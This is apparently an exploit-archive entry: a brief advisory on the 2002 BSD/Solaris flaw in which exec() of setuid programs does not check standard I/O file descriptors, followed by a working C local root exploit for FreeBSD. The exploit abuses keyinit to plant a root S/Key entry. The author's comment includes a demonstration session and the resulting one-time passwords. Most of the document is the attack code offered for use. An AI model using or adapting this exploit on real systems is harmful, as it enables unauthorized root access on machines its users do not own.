Apple Mac OSX 10.x / FreeBSD 4.x / OpenBSD 2.x / Solaris 2.5/2.6/7.0/8 - 'exec C Library' Standard I/O File Descriptor Closure

/*
source: https://www.securityfocus.com/bid/4568/info

It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'. 

This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
*/

/*
  phased/b10z
  [email protected]
  23/04/2002

  stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
  decided to make a trivial exploit to easily get root :)

  > id
  uid=1003(phased) gid=999(phased) groups=999(phased)
  > ./iosmash
  Adding phased:
  <--- HIT CTRL-C ---> 
  > su
  s/key 98 snosoft2
  Password:MASS OAT ROLL TOOL AGO CAM
  xes# 

  this program makes the following skeys valid

  95: CARE LIVE CARD LOFT CHIC HILL
  96: TESS OIL WELD DUD MUTE KIT
  97: DADE BED DRY JAW GRAB NOV
  98: MASS OAT ROLL TOOL AGO CAM
  99: DARK LEW JOLT JIVE MOS WHO

  http://www.snosoft.com
  cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
        while(dup(1) != -1);
        close(2);
        execl("/usr/bin/keyinit",
        "\nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03\n");
}